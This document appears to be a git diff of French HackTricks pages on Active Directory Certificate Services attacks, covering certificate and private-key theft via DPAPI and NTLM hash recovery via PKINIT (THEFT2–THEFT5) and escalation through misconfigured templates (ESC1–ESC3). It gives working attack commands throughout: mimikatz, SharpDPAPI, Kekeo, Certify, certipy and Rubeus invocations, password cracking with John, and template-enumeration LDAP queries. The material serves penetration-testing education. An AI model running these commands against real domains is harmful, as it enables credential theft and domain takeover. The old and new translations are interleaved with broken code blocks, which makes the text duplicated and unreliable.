Windows stocke le plus souvent les certificats d'utilisateur dans le registre sous la clé `HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates`, bien que certains certificats personnels pour les utilisateurs soient **également** stockés dans `%APPDATA%\Microsoft\SystemCertificates\My\Certificates`. Les emplacements des **clés privées associées** sont principalement `%APPDATA%\Microsoft\Crypto\RSA\User SID\` pour les clés **CAPI** et `%APPDATA%\Microsoft\Crypto\Keys\` pour les clés **CNG**.
Les **certificats utilisateur** sont principalement stockés dans le registre sous `HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates`, mais certains peuvent également être trouvés dans le répertoire `%APPDATA%\Microsoft\SystemCertificates\My\Certificates`. Les **clés privées correspondantes** à ces certificats sont généralement stockées dans `%APPDATA%\Microsoft\Crypto\RSA\User SID\` pour les clés **CAPI** et `%APPDATA%\Microsoft\Crypto\Keys\` pour les clés **CNG**.
Pour obtenir un certificat et sa clé privée associée, il faut :
Pour **extraire un certificat et sa clé privée associée**, le processus implique :
1. Identifier **quel certificat on souhaite voler** dans le magasin de certificats de l'utilisateur et extraire le nom du magasin de clés.
2. Trouver la **clé maîtresse DPAPI** nécessaire pour déchiffrer la clé privée associée.
3. Obtenir la clé maîtresse DPAPI en clair et l'utiliser pour **déchiffrer la clé privée**.
1. **Sélectionner le certificat cible** dans le magasin de l'utilisateur et récupérer le nom de son magasin de clés.
2. **Localiser la clé maîtresse DPAPI requise** pour déchiffrer la clé privée correspondante.
3. **Déchiffrer la clé privée** en utilisant la clé maîtresse DPAPI en clair.
Pour **obtenir la clé maîtresse DPAPI en clair** :
Pour **acquérir la clé maîtresse DPAPI en clair**, les approches suivantes peuvent être utilisées :
```bash
# With mimikatz
## Running in a process in the users context
# With mimikatz, when running in the user's context
dpapi::masterkey /in:"C:\PATH\TO\KEY" /rpc
# with mimikatz
## knowing the users password
# With mimikatz, if the user's password is known
dpapi::masterkey /in:"C:\PATH\TO\KEY" /sid:accountSid /password:PASS
```
Pour simplifier le déchiffrement des fichiers masterkey et des fichiers de clé privée, la commande `certificates` de [**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) peut être utilisée avec les arguments `/pvk`, `/mkfile`, `/password`, ou `{GUID}:KEY` pour déchiffrer les clés privées et les certificats associés, produisant un fichier texte `.pem`.
Pour rationaliser le décryptage des fichiers de clé principale et des fichiers de clé privée, la commande `certificates` de [**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) s'avère bénéfique. Elle accepte les arguments `/pvk`, `/mkfile`, `/password` ou `{GUID}:KEY` pour décrypter les clés privées et les certificats liés, générant ainsi un fichier `.pem`.
```bash
# Decrypting using SharpDPAPI
SharpDPAPI.exe certificates /mkfile:C:\temp\mkeys.txt
# Transfor .pem to .pfx
# Converting .pem to .pfx
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
```
## Vol de certificat de machine via DPAPI – THEFT3
## Vol de certificat machine via DPAPI – THEFT3
Windows stocke les certificats de machine dans la clé de registre `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates` et stocke les clés privées dans plusieurs emplacements différents en fonction du compte.\
Bien que SharpDPAPI recherche dans tous ces emplacements, les résultats les plus intéressants proviennent généralement de `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\RSA\MachineKeys` (CAPI) et `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\Keys` (CNG). Ces **clés privées** sont associées au **magasin de certificats de machine** et Windows les chiffre avec les **clés maîtresses DPAPI de la machine**.\
On ne peut pas déchiffrer ces clés en utilisant la clé de sauvegarde DPAPI du domaine, mais on **doit** utiliser le **secret DPAPI\_SYSTEM LSA** sur le système qui est **accessible uniquement par l'utilisateur SYSTEM**.&#x20;
Les certificats machine stockés par Windows dans le registre à `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates` et les clés privées associées situées dans `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\RSA\MachineKeys` (pour CAPI) et `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\Keys` (pour CNG) sont chiffrés à l'aide des clés maîtresses DPAPI de la machine. Ces clés ne peuvent pas être déchiffrées avec la clé de sauvegarde DPAPI du domaine ; au lieu de cela, le **secret LSA DPAPI_SYSTEM**, auquel seul l'utilisateur SYSTEM peut accéder, est requis.
Vous pouvez faire cela manuellement avec la commande **`lsadump::secrets`** de **Mimikatz** et ensuite utiliser la clé extraite pour **déchiffrer les masterkeys de machine**. \
Vous pouvez également patcher CAPI/CNG comme précédemment et utiliser la commande **Mimikatz’** `crypto::certificates /export /systemstore:LOCAL_MACHINE`. \
La commande certificates de **SharpDPAPI** avec le drapeau **`/machine`** (lorsqu'élevé) va automatiquement **s'élever** à **SYSTEM**, **dumper** le secret **DPAPI\_SYSTEM** LSA, l'utiliser pour **déchiffrer** et trouver les masterkeys DPAPI de machine, et utiliser les textes en clair des clés comme table de recherche pour déchiffrer toutes les clés privées de certificat de machine.
Le déchiffrement manuel peut être réalisé en exécutant la commande `lsadump::secrets` dans **Mimikatz** pour extraire le secret LSA DPAPI_SYSTEM, puis en utilisant cette clé pour déchiffrer les clés maîtresses de la machine. Alternativement, la commande `crypto::certificates /export /systemstore:LOCAL_MACHINE` de Mimikatz peut être utilisée après avoir patché CAPI/CNG comme décrit précédemment.
## Trouver les fichiers de certificats – THEFT4
**SharpDPAPI** offre une approche plus automatisée avec sa commande certificates. Lorsque le drapeau `/machine` est utilisé avec des autorisations élevées, il s'élève au niveau de SYSTEM, extrait le secret LSA DPAPI_SYSTEM, l'utilise pour déchiffrer les clés maîtresses DPAPI de la machine, puis utilise ces clés en texte clair comme table de recherche pour déchiffrer les clés privées de tout certificat machine.
Parfois, **les certificats sont juste dans le système de fichiers**, comme dans les partages de fichiers ou dans le dossier Téléchargements.\
Les types de fichiers de certificats les plus courants que nous avons vus pour Windows sont les fichiers **`.pfx`** et **`.p12`**, avec **`.pkcs12`** et **`.pem`** apparaissant parfois mais moins fréquemment.\
D'autres extensions de fichiers liées aux certificats intéressantes sont : **`.key`** (_clé privée_), **`.crt/.cer`** (_juste certificat_), **`.csr`** (_Demande de Signature de Certificat, ne contient ni certificats ni clés privées_), **`.jks/.keystore/.keys`** (_Java Keystore. Peut contenir des certificats + des clés privées utilisés par des applications Java_).
Pour trouver ces fichiers, il suffit de rechercher ces extensions à l'aide de powershell ou de cmd.
## Recherche de fichiers de certificat – THEFT4
Si vous trouvez un fichier de certificat **PKCS#12** et qu'il est **protégé par mot de passe**, vous pouvez extraire un hash en utilisant [pfx2john.py](https://fossies.org/dox/john-1.9.0-jumbo-1/pfx2john\_8py\_source.html) et le **craquer** en utilisant JohnTheRipper.
Les certificats sont parfois directement trouvés dans le système de fichiers, comme dans les partages de fichiers ou le dossier Téléchargements. Les types de fichiers de certificat les plus couramment rencontrés dans les environnements Windows sont les fichiers `.pfx` et `.p12`. Bien que moins fréquemment, des fichiers avec les extensions `.pkcs12` et `.pem` apparaissent également. Les extensions de fichier supplémentaires liées aux certificats comprennent :
- `.key` pour les clés privées,
- `.crt`/`.cer` pour les certificats uniquement,
- `.csr` pour les demandes de signature de certificat, qui ne contiennent ni certificats ni clés privées,
- `.jks`/`.keystore`/`.keys` pour les magasins de clés Java, qui peuvent contenir des certificats ainsi que des clés privées utilisées par les applications Java.
## Vol de justificatifs d'identité NTLM via PKINIT – THEFT5
Ces fichiers peuvent être recherchés à l'aide de PowerShell ou de l'invite de commandes en recherchant les extensions mentionnées.
> Afin de **prendre en charge l'authentification NTLM** \[MS-NLMP] pour les applications se connectant à des services réseau qui **ne prennent pas en charge l'authentification Kerberos**, lorsque PKCA est utilisé, le KDC renvoie la fonction à sens unique (OWF) **NTLM de l'utilisateur** dans le certificat d'attribut de privilège (PAC) **`PAC_CREDENTIAL_INFO`** buffer
Dans les cas où un fichier de certificat PKCS#12 est trouvé et protégé par un mot de passe, l'extraction d'un hash est possible en utilisant `pfx2john.py`, disponible sur [fossies.org](https://fossies.org/dox/john-1.9.0-jumbo-1/pfx2john_8py_source.html). Ensuite, JohnTheRipper peut être utilisé pour tenter de craquer le mot de passe.
```powershell
# Example command to search for certificate files in PowerShell
Get-ChildItem -Recurse -Path C:\Users\ -Include *.pfx, *.p12, *.pkcs12, *.pem, *.key, *.crt, *.cer, *.csr, *.jks, *.keystore, *.keys
Ainsi, si un compte s'authentifie et obtient un **TGT via PKINIT**, il existe une "sauvegarde" intégrée qui permet à l'hôte actuel d'**obtenir notre hash NTLM à partir du TGT** pour prendre en charge l'authentification héritée. Cela implique de **déchiffrer** une **structure `PAC_CREDENTIAL_DATA`** qui est une représentation sérialisée en Network Data Representation (NDR) du texte en clair NTLM.
# Example command to use pfx2john.py for extracting a hash from a PKCS#12 file
pfx2john.py certificate.pfx > hash.txt
[**Kekeo**](https://github.com/gentilkiwi/kekeo) peut être utilisé pour demander un TGT avec ces informations et récupérer le hash NTML des utilisateurs.
```bash
tgt::pac /caname:thename-DC-CA /subject:harmj0y /castore:current_user /domain:domain.local
# Command to crack the hash with JohnTheRipper
john --wordlist=passwords.txt hash.txt
```
L'implémentation de Kekeo fonctionnera également avec les certificats protégés par carte à puce actuellement connectés si vous pouvez [**récupérer le code PIN**](https://github.com/CCob/PinSwipe)**.** Cela sera également pris en charge dans [**Rubeus**](https://github.com/GhostPack/Rubeus).
## Vol de crédentiel NTLM via PKINIT - THEFT5
## Références
Le contenu donné explique une méthode de vol de crédentiel NTLM via PKINIT, spécifiquement à travers la méthode de vol étiquetée comme THEFT5. Voici une réexplication en voix passive, avec le contenu anonymisé et résumé lorsque applicable :
* Toutes les informations ont été prises de [https://www.specterops.io/assets/resources/Certified\_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified\_Pre-Owned.pdf)
Pour prendre en charge l'authentification NTLM [MS-NLMP] pour les applications qui ne facilitent pas l'authentification Kerberos, le KDC est conçu pour renvoyer la fonction unidirectionnelle NTLM de l'utilisateur (OWF) dans le certificat d'attribut de privilège (PAC), spécifiquement dans le tampon `PAC_CREDENTIAL_INFO`, lorsque PKCA est utilisé. Par conséquent, si un compte s'authentifie et sécurise un Ticket-Granting Ticket (TGT) via PKINIT, un mécanisme est intrinsèquement fourni qui permet à l'hôte actuel d'extraire le hachage NTLM du TGT pour maintenir les protocoles d'authentification hérités. Ce processus implique le déchiffrement de la structure `PAC_CREDENTIAL_DATA`, qui est essentiellement une représentation sérialisée NDR du texte en clair NTLM.
<details>
L'utilitaire **Kekeo**, accessible à [https://github.com/gentilkiwi/kekeo](https://github.com/gentilkiwi/kekeo), est mentionné comme capable de demander un TGT contenant ces données spécifiques, facilitant ainsi la récupération du NTLM de l'utilisateur. La commande utilisée à cette fin est la suivante :
```bash
tgt::pac /caname:generic-DC-CA /subject:genericUser /castore:current_user /domain:domain.local
```
De plus, il est noté que Kekeo peut traiter les certificats protégés par carte à puce, à condition que le code PIN puisse être récupéré, en se référant à [https://github.com/CCob/PinSwipe](https://github.com/CCob/PinSwipe). La même capacité est indiquée comme étant prise en charge par **Rubeus**, disponible sur [https://github.com/GhostPack/Rubeus](https://github.com/GhostPack/Rubeus).
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
Cette explication encapsule le processus et les outils impliqués dans le vol d'informations d'identification NTLM via PKINIT, en mettant l'accent sur la récupération des hachages NTLM à travers le TGT obtenu en utilisant PKINIT, et les utilitaires qui facilitent ce processus.

483
windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md
View file

@ -1,160 +1,167 @@
# Escalade de domaine AD CS
# Élévation de privilèges de domaine AD CS
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
## Modèles de certificats mal configurés - ESC1
**Il s'agit d'un résumé des publications :**
* [https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified\_Pre-Owned.pdf](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified\_Pre-Owned.pdf)
* [https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
* [https://github.com/ly4k/Certipy](https://github.com/ly4k/Certipy)
## Modèles de certificat mal configurés - ESC1
### Explication
* L'**Enterprise CA** accorde aux **utilisateurs à faibles privilèges des droits d'inscription**
* **L'approbation du gestionnaire est désactivée**
* **Aucune signature autorisée n'est requise**
* Un **modèle de certificat** trop permissif **accorde des droits d'inscription de certificat aux utilisateurs à faibles privilèges**
* Le **modèle de certificat définit des EKUs qui permettent l'authentification** :
* _Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0), ou aucun EKU (SubCA)._
* Le **modèle de certificat permet aux demandeurs de spécifier un subjectAltName dans le CSR :**
* **AD** **utilisera** l'identité spécifiée par le champ **subjectAltName** (SAN) d'un certificat **si** elle est **présente**. Par conséquent, si un demandeur peut spécifier le SAN dans un CSR, le demandeur peut **demander un certificat en tant que n'importe qui** (par exemple, un utilisateur admin de domaine). L'objet AD du modèle de certificat **spécifie** si le demandeur **peut spécifier le SAN** dans sa propriété **`mspki-certificate-name-`**`flag`. La propriété `mspki-certificate-name-flag` est un **masque de bits** et si le drapeau **`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`** est **présent**, un **demandeur peut spécifier le SAN.**
### Modèles de certificat mal configurés - ESC1 Expliqué
* **Les droits d'inscription sont accordés aux utilisateurs à faibles privilèges par l'AC d'entreprise.**
* **L'approbation du gestionnaire n'est pas requise.**
* **Aucune signature du personnel autorisé n'est nécessaire.**
* **Les descripteurs de sécurité sur les modèles de certificat sont excessivement permissifs, permettant aux utilisateurs à faibles privilèges d'obtenir des droits d'inscription.**
* **Les modèles de certificat sont configurés pour définir des EKU qui facilitent l'authentification :**
* Les identifiants d'utilisation étendue de la clé (EKU) tels que l'authentification client (OID 1.3.6.1.5.5.7.3.2), l'authentification client PKINIT (1.3.6.1.5.2.3.4), la connexion de carte à puce (OID 1.3.6.1.4.1.311.20.2.2), tout usage (OID 2.5.29.37.0), ou aucun EKU (SubCA) sont inclus.
* **La capacité pour les demandeurs d'inclure un subjectAltName dans la demande de signature de certificat (CSR) est autorisée par le modèle :**
* L'Active Directory (AD) donne la priorité au subjectAltName (SAN) dans un certificat pour la vérification d'identité s'il est présent. Cela signifie qu'en spécifiant le SAN dans une CSR, un certificat peut être demandé pour se faire passer pour n'importe quel utilisateur (par exemple, un administrateur de domaine). La possibilité de spécifier un SAN par le demandeur est indiquée dans l'objet AD du modèle de certificat à travers la propriété `mspki-certificate-name-flag`. Cette propriété est un masque de bits, et la présence du drapeau `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` permet au demandeur de spécifier le SAN.
{% hint style="danger" %}
Ces paramètres permettent à un **utilisateur à faibles privilèges de demander un certificat avec un SAN arbitraire**, permettant à l'utilisateur à faibles privilèges de s'authentifier en tant que n'importe quel principal dans le domaine via Kerberos ou SChannel.
La configuration décrite permet aux utilisateurs à faibles privilèges de demander des certificats avec n'importe quel SAN de leur choix, permettant l'authentification en tant que n'importe quel principal de domaine via Kerberos ou SChannel.
{% endhint %}
Ceci est souvent activé, par exemple, pour permettre aux produits ou services de déploiement de générer des certificats HTTPS ou des certificats d'hôte à la volée. Ou par manque de connaissance.
Cette fonctionnalité est parfois activée pour prendre en charge la génération à la volée de certificats HTTPS ou d'hôte par des produits ou des services de déploiement, ou en raison d'un manque de compréhension.
Notez que lorsqu'un certificat avec cette dernière option est créé, un **avertissement apparaît**, mais il n'apparaît pas si un **modèle de certificat** avec cette configuration est **dupliqué** (comme le modèle `WebServer` qui a `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` activé et ensuite l'administrateur peut ajouter un OID d'authentification).
Il est noté que la création d'un certificat avec cette option déclenche un avertissement, ce qui n'est pas le cas lorsqu'un modèle de certificat existant (tel que le modèle `WebServer`, qui a `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` activé) est dupliqué puis modifié pour inclure un OID d'authentification.
### Abus
Pour **trouver des modèles de certificats vulnérables**, vous pouvez exécuter :
Pour **trouver des modèles de certificat vulnérables**, vous pouvez exécuter :
```bash
Certify.exe find /vulnerable
certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128
```
Pour **abuser de cette vulnérabilité pour se faire passer pour un administrateur**, on pourrait exécuter :
Pour **exploiter cette vulnérabilité pour se faire passer pour un administrateur**, on pourrait exécuter :
```bash
Certify.exe request /ca:dc.theshire.local-DC-CA /template:VulnTemplate /altname:localadmin
Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:localadmin
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'ESC1' -upn 'administrator@corp.local'
```
Ensuite, vous pouvez transformer le certificat généré en format **`.pfx`** et l'utiliser pour **vous authentifier à nouveau avec Rubeus ou certipy** :
Ensuite, vous pouvez transformer le **certificat généré au format `.pfx`** et l'utiliser pour **vous authentifier à l'aide de Rubeus ou certipy** à nouveau:
```bash
Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100
```
Les binaires Windows "Certreq.exe" et "Certutil.exe" peuvent être détournés pour générer le PFX : https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
Les binaires Windows "Certreq.exe" & "Certutil.exe" peuvent être utilisés pour générer le PFX : https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
De plus, la requête LDAP suivante, lorsqu'elle est exécutée contre le schéma de configuration de la forêt AD, peut être utilisée pour **énumérer** les **modèles de certificats** qui **ne nécessitent pas d'approbation/signature**, qui possèdent une EKU **Authentification Client ou Connexion par Carte à Puce**, et ont le drapeau **`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`** activé :
L'énumération des modèles de certificat dans le schéma de configuration de la forêt AD, en particulier ceux ne nécessitant pas d'approbation ou de signatures, possédant une EKU d'authentification client ou de connexion de carte à puce, et avec le drapeau `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` activé, peut être effectuée en exécutant la requête LDAP suivante :
```
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))
```
## Modèles de certificats mal configurés - ESC2
## Modèles de certificat mal configurés - ESC2
### Explication
Le deuxième scénario d'abus est une variation du premier :
1. L'Enterprise CA accorde aux utilisateurs disposant de faibles privilèges le droit de s'inscrire.
2. L'approbation du gestionnaire est désactivée.
3. Aucune signature autorisée n'est requise.
4. Un descripteur de sécurité de modèle de certificat trop permissif accorde aux utilisateurs disposant de faibles privilèges le droit de s'inscrire pour obtenir un certificat.
5. **Le modèle de certificat définit l'EKU Any Purpose ou aucun EKU.**
1. Les droits d'inscription sont accordés aux utilisateurs à faibles privilèges par l'AC d'entreprise.
2. L'exigence d'approbation du gestionnaire est désactivée.
3. Le besoin de signatures autorisées est omis.
4. Un descripteur de sécurité excessivement permissif sur le modèle de certificat accorde des droits d'inscription aux certificats aux utilisateurs à faibles privilèges.
5. **Le modèle de certificat est défini pour inclure l'EKU Tout Usage ou aucun EKU.**
L'**EKU Any Purpose** permet à un attaquant d'obtenir un **certificat** pour **n'importe quel usage**, comme l'authentification client, l'authentification serveur, la signature de code, etc. La même **technique que pour ESC3** peut être utilisée pour abuser de cela.
L'**EKU Tout Usage** permet à un certificat d'être obtenu par un attaquant pour **n'importe quel usage**, y compris l'authentification client, l'authentification serveur, la signature de code, etc. La même **technique utilisée pour ESC3** peut être utilisée pour exploiter ce scénario.
Un **certificat sans EKUs** — un certificat de CA subordonné — peut également être abusé pour **n'importe quel usage**, mais pourrait **aussi être utilisé pour signer de nouveaux certificats**. Ainsi, en utilisant un certificat de CA subordonné, un attaquant pourrait **spécifier des EKUs arbitraires ou des champs dans les nouveaux certificats.**
Les certificats **sans EKU**, qui agissent comme des certificats de CA subordonnés, peuvent être exploités pour **n'importe quel usage** et peuvent **également être utilisés pour signer de nouveaux certificats**. Ainsi, un attaquant pourrait spécifier des EKU ou des champs arbitraires dans les nouveaux certificats en utilisant un certificat de CA subordonné.
Cependant, si le **CA subordonné n'est pas approuvé** par l'objet **`NTAuthCertificates`** (ce qui ne sera pas le cas par défaut), l'attaquant **ne peut pas créer de nouveaux certificats** qui fonctionneront pour **l'authentification de domaine**. Néanmoins, l'attaquant peut créer **de nouveaux certificats avec n'importe quel EKU** et des valeurs de certificat arbitraires, dont il y a **beaucoup** que l'attaquant pourrait potentiellement **abuser** (par exemple, la signature de code, l'authentification serveur, etc.) et qui pourraient avoir de grandes implications pour d'autres applications dans le réseau comme SAML, AD FS ou IPSec.
Cependant, les nouveaux certificats créés pour **l'authentification de domaine** ne fonctionneront pas si la CA subordonnée n'est pas approuvée par l'objet **`NTAuthCertificates`**, qui est le paramètre par défaut. Néanmoins, un attaquant peut toujours créer de **nouveaux certificats avec n'importe quel EKU** et des valeurs de certificat arbitraires. Ceux-ci pourraient être potentiellement **abusés** pour une large gamme d'usages (par exemple, la signature de code, l'authentification serveur, etc.) et pourraient avoir des implications significatives pour d'autres applications dans le réseau comme SAML, AD FS ou IPSec.
La requête LDAP suivante, lorsqu'elle est exécutée contre le schéma de configuration de la forêt AD, peut être utilisée pour énumérer les modèles correspondant à ce scénario :
Pour énumérer les modèles correspondant à ce scénario dans le schéma de configuration de la forêt AD, la requête LDAP suivante peut être exécutée :
```
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))
```
## Modèles d'agents d'inscription mal configurés - ESC3
## Modèles d'Agent d'Inscription Mal Configurés - ESC3
### Explication
Ce scénario est similaire au premier et au deuxième, mais **exploite** un **EKU différent** (Agent de demande de certificat) et **2 modèles différents** (il a donc 2 ensembles d'exigences),
Ce scénario est similaire aux deux premiers mais **exploite** un **EKU différent** (Agent de Demande de Certificat) et **2 modèles différents** (donc il a 2 ensembles de conditions),
L'**EKU Agent de demande de certificat** (OID 1.3.6.1.4.1.311.20.2.1), connu sous le nom d'**Agent d'inscription** dans la documentation de Microsoft, permet à un principal de **s'inscrire** pour un **certificat** **au nom d'un autre utilisateur**.
L'**EKU de l'Agent de Demande de Certificat** (OID 1.3.6.1.4.1.311.20.2.1), connu sous le nom d'**Agent d'Inscription** dans la documentation Microsoft, permet à un principal de **s'inscrire** pour un **certificat** **au nom d'un autre utilisateur**.
L'**"agent d'inscription"** s'inscrit à un tel **modèle** et utilise le **certificat résultant pour cosigner une CSR au nom de l'autre utilisateur**. Il **envoie** ensuite la **CSR cosignée** à l'AC, s'inscrivant à un **modèle** qui **permet de "s'inscrire au nom de"**, et l'AC répond avec un **certificat appartenant à l'"autre" utilisateur**.
L'**"agent d'inscription"** s'inscrit dans un tel **modèle** et utilise le **certificat résultant pour co-signer une CSR au nom de l'autre utilisateur**. Il **envoie** ensuite la **CSR co-signée** au CA, s'inscrivant dans un **modèle** qui **autorise "l'inscription au nom de"**, et le CA répond avec un **certificat appartenant à l'utilisateur "autre"**.
**Exigences 1 :**
**Conditions 1:**
1. L'AC d'entreprise permet aux utilisateurs peu privilégiés des droits d'inscription.
2. L'approbation du gestionnaire est désactivée.
3. Aucune signature autorisée n'est requise.
4. Un descripteur de sécurité de modèle de certificat trop permissif permet aux utilisateurs peu privilégiés des droits d'inscription au certificat.
5. Le **modèle de certificat définit l'EKU Agent de demande de certificat**. L'OID de l'Agent de demande de certificat (1.3.6.1.4.1.311.20.2.1) permet de demander d'autres modèles de certificats au nom d'autres principaux.
- Les droits d'inscription sont accordés aux utilisateurs à faibles privilèges par le CA d'entreprise.
- L'exigence d'approbation du gestionnaire est omise.
- Aucune exigence de signatures autorisées.
- Le descripteur de sécurité du modèle de certificat est excessivement permissif, accordant des droits d'inscription aux utilisateurs à faibles privilèges.
- Le modèle de certificat inclut l'EKU de l'Agent de Demande de Certificat, permettant la demande d'autres modèles de certificat au nom d'autres principaux.
**Exigences 2 :**
**Conditions 2:**
1. L'AC d'entreprise permet aux utilisateurs peu privilégiés des droits d'inscription.
2. L'approbation du gestionnaire est désactivée.
3. **La version du schéma du modèle est 1 ou supérieure à 2 et spécifie une exigence de politique d'application d'émission nécessitant l'EKU Agent de demande de certificat.**
4. Le modèle de certificat définit un EKU qui permet l'authentification de domaine.
5. Les restrictions d'agent d'inscription ne sont pas mises en œuvre sur l'AC.
- Le CA d'entreprise accorde des droits d'inscription aux utilisateurs à faibles privilèges.
- L'approbation du gestionnaire est contournée.
- La version du schéma du modèle est soit 1, soit dépasse 2, et spécifie une exigence d'émission de politique d'application qui nécessite l'EKU de l'Agent de Demande de Certificat.
- Un EKU défini dans le modèle de certificat permet l'authentification de domaine.
- Les restrictions pour les agents d'inscription ne sont pas appliquées sur le CA.
### Abus
Vous pouvez utiliser [**Certify**](https://github.com/GhostPack/Certify) ou [**Certipy**](https://github.com/ly4k/Certipy) pour exploiter ce scénario :
Vous pouvez utiliser [**Certify**](https://github.com/GhostPack/Certify) ou [**Certipy**](https://github.com/ly4k/Certipy) pour abuser de ce scénario:
```bash
# Request an enrollment agent certificate
Certify.exe request /ca:CORPDC01.CORP.LOCAL\CORP-CORPDC01-CA /template:Vuln-EnrollmentAgent
Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:Vuln-EnrollmentAgent
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local' -ca 'corp-CA' -template 'templateName'
# Enrollment agent certificate to issue a certificate request on behalf of
# another user to a template that allow for domain authentication
Certify.exe request /ca:CORPDC01.CORP.LOCAL\CORP-CORPDC01-CA /template:User /onbehalfof:CORP\itadmin /enrollment:enrollmentcert.pfx /enrollcertpwd:asdf
Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:User /onbehalfof:CORP\itadmin /enrollment:enrollmentcert.pfx /enrollcertpwd:asdf
